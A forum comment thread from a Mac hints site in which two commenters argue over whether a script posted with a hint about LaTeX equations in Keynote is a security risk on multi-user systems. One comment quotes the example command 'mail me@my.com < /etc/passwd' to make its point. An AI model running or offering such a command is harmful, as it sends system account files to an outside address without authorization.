Submit Hint Search The Forums LinksStatsPollsHeadlinesRSS
14,000 hints and counting!


Click here to return to the 'Use LaTeX formatted equations in Keynote' hint
The following comments are owned by whoever posted them. This site is not responsible for what they say.
Use LaTeX formatted equations in Keynote
Authored by: mithras on Feb 21, '03 11:53:44AM

That would be a security issue IF the script were being called from the Web or an unprivileged environment.

But your example would require the user to be able to run the command on the Mac anyway. Why call the script, if you can just run "mail me@my.com < /etc/passwd" directly?

Consider what is wrong with this statement: the 'sh' program is a HUGE security hole! It will just run willy-nilly any command you pass to it!

---
--
<a href="http://mithras.homeunix.net/downloads">my free OS X applications and scripts</a>



[ Reply to This | # ]
Use LaTeX formatted equations in Keynote
Authored by: KM on Feb 21, '03 01:54:14PM

You people are missing the point. The script is being posted on a "hints" site, and it is not secure. If it is on a multi-user environment, it can be dangerous. This isn't rocket science, it is Security 101. Posting insecure scripts on a 'hints' site is plain wrong. Period.



[ Reply to This | # ]